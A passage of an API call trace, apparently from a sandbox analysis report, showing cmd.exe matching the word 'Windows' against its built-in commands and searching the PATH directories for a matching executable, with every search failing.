[0232.367] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.367] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.367] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.367] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.367] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.367] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.367] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.367] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.367] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.367] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.367] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.367] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.367] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.367] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.367] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.368] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.368] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.368] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.368] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.368] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.368] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.368] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.368] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.368] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.368] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.368] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.368] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.368] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.368] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.368] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.369] GetProcessHeap () returned 0x20b0f920000 [0232.369] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.371] SetErrorMode (uMode=0x0) returned 0x0 [0232.371] SetErrorMode (uMode=0x1) returned 0x0 [0232.371] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.371] SetErrorMode (uMode=0x0) returned 0x1 [0232.371] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.372] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.372] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.372] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956880 [0232.372] GetProcessHeap () returned 0x20b0f920000 [0232.372] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0232.372] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d030 [0232.373] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0232.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.373] GetLastError () returned 0x2 [0232.373] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.374] GetLastError () returned 0x2 [0232.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.374] GetLastError () returned 0x2 [0232.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.374] GetLastError () returned 0x2 [0232.374] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.375] GetLastError () returned 0x2 [0232.375] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.375] GetLastError () returned 0x2 [0232.375] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.375] GetLastError () returned 0x2 [0232.375] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.375] GetLastError () returned 0x2 [0232.376] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.376] GetLastError () returned 0x2 [0232.376] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.376] GetLastError () returned 0x2 [0232.376] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.377] GetLastError () returned 0x2 [0232.377] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.377] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.377] GetLastError () returned 0x2 [0232.377] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.377] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0232.377] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0232.377] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.378] GetLastError () returned 0x2 [0232.378] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.378] GetLastError () returned 0x2 [0232.378] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.378] GetLastError () returned 0x2 [0232.378] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.378] GetLastError () returned 0x2 [0232.378] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.379] GetLastError () returned 0x2 [0232.379] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.379] GetLastError () returned 0x2 [0232.379] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.379] GetLastError () returned 0x2 [0232.379] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.379] GetLastError () returned 0x2 [0232.379] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.380] GetLastError () returned 0x2 [0232.380] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.380] GetLastError () returned 0x2 [0232.380] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.380] GetLastError () returned 0x2 [0232.380] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.380] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.381] GetLastError () returned 0x2 [0232.381] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.381] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.381] GetLastError () returned 0x2 [0232.381] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.381] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.381] GetLastError () returned 0x2 [0232.381] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.381] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.382] GetLastError () returned 0x2 [0232.382] ??_V@YAXPEAX@Z () returned 0x1 [0232.382] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.384] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.384] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.384] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.384] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.385] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.385] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.385] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.385] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.385] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.385] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.385] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.385] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.385] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.385] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.385] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.385] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.385] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.385] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.385] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.385] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.385] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.385] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.385] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.385] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.385] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.385] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.386] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.386] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.386] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.386] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.386] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.386] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.386] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.386] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.386] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.386] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.386] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.386] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.386] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.386] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.386] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.386] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.386] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.386] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.386] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.386] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.386] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.386] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.386] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.386] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.386] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.386] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.386] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.387] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.387] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.387] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.387] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.387] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.387] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.387] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.387] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.387] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.387] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.387] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.387] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.387] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.387] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.387] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.387] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.387] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.387] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.387] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.387] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.387] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.387] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.387] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.387] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.387] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.387] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.387] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.388] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.388] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.388] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.388] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.388] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.388] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.388] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.388] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.388] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.388] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.388] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.388] ??_V@YAXPEAX@Z () returned 0x1 [0232.389] GetProcessHeap () returned 0x20b0f920000 [0232.389] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.389] GetProcessHeap () returned 0x20b0f920000 [0232.389] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f9570a0 [0232.389] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.389] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.389] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.390] GetProcessHeap () returned 0x20b0f920000 [0232.390] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.391] SetErrorMode (uMode=0x0) returned 0x0 [0232.391] SetErrorMode (uMode=0x1) returned 0x0 [0232.391] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.391] SetErrorMode (uMode=0x0) returned 0x1 [0232.391] GetProcessHeap () returned 0x20b0f920000 [0232.391] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.391] GetProcessHeap () returned 0x20b0f920000 [0232.391] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.391] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.391] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.391] GetProcessHeap () returned 0x20b0f920000 [0232.391] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.391] GetProcessHeap () returned 0x20b0f920000 [0232.391] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.391] GetProcessHeap () returned 0x20b0f920000 [0232.391] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.392] GetProcessHeap () returned 0x20b0f920000 [0232.392] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.392] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.392] GetProcessHeap () returned 0x20b0f920000 [0232.392] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0232.392] GetProcessHeap () returned 0x20b0f920000 [0232.392] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956910 [0232.392] GetProcessHeap () returned 0x20b0f920000 [0232.392] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0232.392] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.392] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0232.392] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0232.392] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.393] GetLastError () returned 0x2 [0232.393] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.393] GetLastError () returned 0x2 [0232.393] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.393] GetLastError () returned 0x2 [0232.393] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.393] GetLastError () returned 0x2 [0232.394] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.394] GetLastError () returned 0x2 [0232.394] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.394] GetLastError () returned 0x2 [0232.394] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.394] GetLastError () returned 0x2 [0232.394] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.394] GetLastError () returned 0x2 [0232.394] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.395] GetLastError () returned 0x2 [0232.395] FindFirstFileExW (in: 